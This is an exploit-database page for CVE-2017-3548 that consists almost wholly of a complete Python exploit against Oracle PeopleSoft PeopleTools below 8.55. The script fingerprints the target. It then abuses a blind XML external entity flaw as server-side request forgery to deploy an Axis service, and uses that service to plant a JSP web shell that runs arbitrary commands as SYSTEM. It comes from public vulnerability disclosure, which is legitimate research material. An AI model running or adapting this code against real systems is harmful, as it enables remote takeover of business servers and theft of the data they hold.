Oracle PeopleSoft Enterprise PeopleTools < 8.55 - Remote Code Execution Via Blind XML External Entity

Related Vulnerabilities: CVE-2017-3548  
Publish Date: 17 May 2017
Author: Charles Fol
                							

                #!/usr/bin/python3
# Oracle PeopleSoft SYSTEM RCE
# https://www.ambionics.io/blog/oracle-peoplesoft-xxe-to-rce
# cf
# 2017-05-17
 
import requests
import urllib.parse
import re
import string
import random
import sys
 
 
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
 
 
try:
    import colorama
except ImportError:
    colorama = None
else:
    colorama.init()
 
    COLORS = {
        '+': colorama.Fore.GREEN,
        '-': colorama.Fore.RED,
        ':': colorama.Fore.BLUE,
        '!': colorama.Fore.YELLOW
    }
 
 
URL = sys.argv[1].rstrip('/')
CLASS_NAME = 'org.apache.pluto.portalImpl.Deploy'
PROXY = 'localhost:8080'
 
# shell.jsp?c=whoami
PAYLOAD = '&lt;%@ page import="java.util.*,java.io.*"%&gt;&lt;% if (request.getParameter("c") != null) { Process p = Runtime.getRuntime().exec(request.getParameter("c")); DataInputStream dis 
= new DataInputStream(p.getInputStream()); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); }; p.destroy(); }%&gt;'
 
 
class Browser:
    """Wrapper around requests.
    """
 
    def __init__(self, url):
        self.url = url
        self.init()
 
    def init(self):
        self.session = requests.Session()
        self.session.proxies = {
            'http': PROXY,
            'https': PROXY
        }
        self.session.verify = False
 
    def get(self, url ,*args, **kwargs):
        return self.session.get(url=self.url + url, *args, **kwargs)
 
    def post(self, url, *args, **kwargs):
        return self.session.post(url=self.url + url, *args, **kwargs)
 
    def matches(self, r, regex):
        return re.findall(regex, r.text)
 
 
class Recon(Browser):
    """Grabs different informations about the target.
    """
 
    def check_all(self):
        self.site_id = None
        self.local_port = None
        self.check_version()
        self.check_site_id()
        self.check_local_infos()
 
    def check_version(self):
        """Grabs PeopleTools' version.
        """
        self.version = None
        r = self.get('/PSEMHUB/hub')
        m = self.matches(r, 'Registered Hosts Summary - ([0-9\.]+).&lt;/b&gt;')
 
        if m:
            self.version = m[0]
            o(':', 'PTools version: %s' % self.version)
        else:
            o('-', 'Unable to find version')
 
    def check_site_id(self):
        """Grabs the site ID and the local port.
        """
        if self.site_id:
            return
 
        r = self.get('/')
        m = self.matches(r, '/([^/]+)/signon.html')
 
        if not m:
            raise RuntimeError('Unable to find site ID')
 
        self.site_id = m[0]
        o('+', 'Site ID: ' + self.site_id)
 
    def check_local_infos(self):
        """Uses cookies to leak hostname and local port.
        """
        if self.local_port:
            return
 
        r = self.get('/psp/%s/signon.html' % self.site_id)
 
        for c, v in self.session.cookies.items():
            if c.endswith('-PORTAL-PSJSESSIONID'):
                self.local_host, self.local_port, *_ = c.split('-')
                o('+', 'Target: %s:%s' % (self.local_host, self.local_port))
                return
 
        raise RuntimeError('Unable to get local hostname / port')
 
 
class AxisDeploy(Recon):
    """Uses the XXE to install Deploy, and uses its two useful methods to get
    a shell.
    """
 
    def init(self):
        super().init()
        self.service_name = 'YZWXOUuHhildsVmHwIKdZbDCNmRHznXR' #self.random_string(10)
 
    def random_string(self, size):
        return ''.join(random.choice(string.ascii_letters) for _ in range(size))
 
    def url_service(self, payload):
        return 'http://localhost:%s/pspc/services/AdminService?method=%s' % (
            self.local_port,
            urllib.parse.quote_plus(self.psoap(payload))
        )
 
    def war_path(self, name):
        # This is just a guess from the few PeopleSoft instances we audited.
        # It might be wrong.
        suffix = '.war' if self.version and self.version &gt;= '8.50' else ''
        return './applications/peoplesoft/%s%s' % (name, suffix)
 
    def pxml(self, payload):
        """Converts an XML payload into a one-liner.
        """
        payload = payload.strip().replace('\n', ' ')
        payload = re.sub('\s+&lt;', '&lt;', payload, flags=re.S)
        payload = re.sub('\s+', ' ', payload, flags=re.S)
        return payload
 
    def psoap(self, payload):
        """Converts a SOAP payload into a one-liner, including the comment trick
        to allow attributes.
        """
        payload = self.pxml(payload)
        payload = '!--&gt;%s' % payload[:-1]
        return payload
 
    def soap_service_deploy(self):
        """SOAP payload to deploy the service.
        """
        return """
        &lt;ns1:deployment xmlns="http://xml.apache.org/axis/wsdd/"
        xmlns:java="http://xml.apache.org/axis/wsdd/providers/java"
        xmlns:ns1="http://xml.apache.org/axis/wsdd/"&gt;
            &lt;ns1:service name="%s" provider="java:RPC"&gt;
                &lt;ns1:parameter name="className" value="%s"/&gt;
                &lt;ns1:parameter name="allowedMethods" value="*"/&gt;
            &lt;/ns1:service&gt;
        &lt;/ns1:deployment&gt;
        """ % (self.service_name, CLASS_NAME)
 
    def soap_service_undeploy(self):
        """SOAP payload to undeploy the service.
        """
        return """
        &lt;ns1:undeployment xmlns="http://xml.apache.org/axis/wsdd/"
        xmlns:ns1="http://xml.apache.org/axis/wsdd/"&gt;
        &lt;ns1:service name="%s"/&gt;
        &lt;/ns1:undeployment&gt;
        """ % (self.service_name, )
 
    def xxe_ssrf(self, payload):
        """Runs the given AXIS deploy/undeploy payload through the XXE.
        """
        data = """
        &lt;?xml version="1.0"?&gt;
        &lt;!DOCTYPE IBRequest [
        &lt;!ENTITY x SYSTEM "%s"&gt;
        ]&gt;
        &lt;IBRequest&gt;
           &lt;ExternalOperationName&gt;&amp;x;&lt;/ExternalOperationName&gt;
           &lt;OperationType/&gt;
           &lt;From&gt;&lt;RequestingNode/&gt;
              &lt;Password/&gt;
              &lt;OrigUser/&gt;
              &lt;OrigNode/&gt;
              &lt;OrigProcess/&gt;
              &lt;OrigTimeStamp/&gt;
           &lt;/From&gt;
           &lt;To&gt;
              &lt;FinalDestination/&gt;
              &lt;DestinationNode/&gt;
              &lt;SubChannel/&gt;
           &lt;/To&gt;
           &lt;ContentSections&gt;
              &lt;ContentSection&gt;
                 &lt;NonRepudiation/&gt;
                 &lt;MessageVersion/&gt;
                 &lt;Data&gt;
                 &lt;/Data&gt;
              &lt;/ContentSection&gt;
           &lt;/ContentSections&gt;
        &lt;/IBRequest&gt;
        """ % self.url_service(payload)
        r = self.post(
            '/PSIGW/HttpListeningConnector',
            data=self.pxml(data),
            headers={
                'Content-Type': 'application/xml'
            }
        )
 
    def service_check(self):
        """Verifies that the service is correctly installed.
        """
        r = self.get('/pspc/services')
        return self.service_name in r.text
 
    def service_deploy(self):
        self.xxe_ssrf(self.soap_service_deploy())
 
        if not self.service_check():
            raise RuntimeError('Unable to deploy service')
 
        o('+', 'Service deployed')
 
    def service_undeploy(self):
        if not self.local_port:
            return
 
        self.xxe_ssrf(self.soap_service_undeploy())
 
        if self.service_check():
            o('-', 'Unable to undeploy service')
            return
 
        o('+', 'Service undeployed')
 
    def service_send(self, data):
        """Send data to the Axis endpoint.
        """
        return self.post(
            '/pspc/services/%s' % self.service_name,
            data=data,
            headers={
                'SOAPAction': 'useless',
                'Content-Type': 'application/xml'
            }
        )
 
    def service_copy(self, path0, path1):
        """Copies one file to another.
        """
        data = """
        &lt;?xml version="1.0" encoding="utf-8"?&gt;
        &lt;soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xmlns:api="http://127.0.0.1/Integrics/Enswitch/API"
        xmlns:xsd="http://www.w3.org/2001/XMLSchema"
        xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"&gt;
        &lt;soapenv:Body&gt;
        &lt;api:copy
        soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"&gt;
            &lt;in0 xsi:type="xsd:string"&gt;%s&lt;/in0&gt;
            &lt;in1 xsi:type="xsd:string"&gt;%s&lt;/in1&gt;
        &lt;/api:copy&gt;
        &lt;/soapenv:Body&gt;
        &lt;/soapenv:Envelope&gt;
        """.strip() % (path0, path1)
        response = self.service_send(data)
        return '&lt;ns1:copyResponse' in response.text
 
    def service_main(self, tmp_path, tmp_dir):
        """Writes the payload at the end of the .xml file.
        """
        data = """
        &lt;?xml version="1.0" encoding="utf-8"?&gt;
        &lt;soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xmlns:api="http://127.0.0.1/Integrics/Enswitch/API"
        xmlns:xsd="http://www.w3.org/2001/XMLSchema"
        xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"&gt;
        &lt;soapenv:Body&gt;
        &lt;api:main
        soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"&gt;
            &lt;api:in0&gt;
                &lt;item xsi:type="xsd:string"&gt;%s&lt;/item&gt;
                &lt;item xsi:type="xsd:string"&gt;%s&lt;/item&gt;
                &lt;item xsi:type="xsd:string"&gt;%s.war&lt;/item&gt;
                &lt;item xsi:type="xsd:string"&gt;something&lt;/item&gt;
                &lt;item xsi:type="xsd:string"&gt;-addToEntityReg&lt;/item&gt;
                &lt;item xsi:type="xsd:string"&gt;&lt;![CDATA[%s]]&gt;&lt;/item&gt;
            &lt;/api:in0&gt;
        &lt;/api:main&gt;
        &lt;/soapenv:Body&gt;
        &lt;/soapenv:Envelope&gt;
        """.strip() % (tmp_path, tmp_dir, tmp_dir, PAYLOAD)
        response = self.service_send(data)
 
    def build_shell(self):
        """Builds a SYSTEM shell.
        """
        # On versions &gt;= 8.50, using another extension than JSP got 70 bytes
        # in return every time, for some reason.
        # Using .jsp seems to trigger caching, thus the same pivot cannot be
        # used to extract several files.
        # Again, this is just from experience, nothing confirmed
        pivot = '/%s.jsp' % self.random_string(20)
        pivot_path = self.war_path('PSOL') + pivot
        pivot_url = '/PSOL' + pivot
 
        # 1: Copy portletentityregistry.xml to TMP
 
        per = '/WEB-INF/data/portletentityregistry.xml'
        per_path = self.war_path('pspc')
        tmp_path = '../' * 20 + 'TEMP'
        tmp_dir = self.random_string(20)
        tmp_per = tmp_path + '/' + tmp_dir + per
 
        if not self.service_copy(per_path + per, tmp_per):
            raise RuntimeError('Unable to copy original XML file')
 
        # 2: Add JSP payload
        self.service_main(tmp_path, tmp_dir)
 
        # 3: Copy XML to JSP in webroot
        if not self.service_copy(tmp_per, pivot_path):
            raise RuntimeError('Unable to copy modified XML file')
 
        response = self.get(pivot_url)
 
        if response.status_code != 200:
            raise RuntimeError('Unable to access JSP shell')
 
        o('+', 'Shell URL: ' + self.url + pivot_url)
 
 
class PeopleSoftRCE(AxisDeploy):
    def __init__(self, url):
        super().__init__(url)
 
 
def o(s, message):
    if colorama:
        c = COLORS[s]
        s = colorama.Style.BRIGHT + COLORS[s] + '|' + colorama.Style.RESET_ALL
    print('%s %s' % (s, message))
 
 
x = PeopleSoftRCE(URL)
 
try:
    x.check_all()
    x.service_deploy()
    x.build_shell()
except RuntimeError as e:
    o('-', e)
finally:
    x.service_undeploy()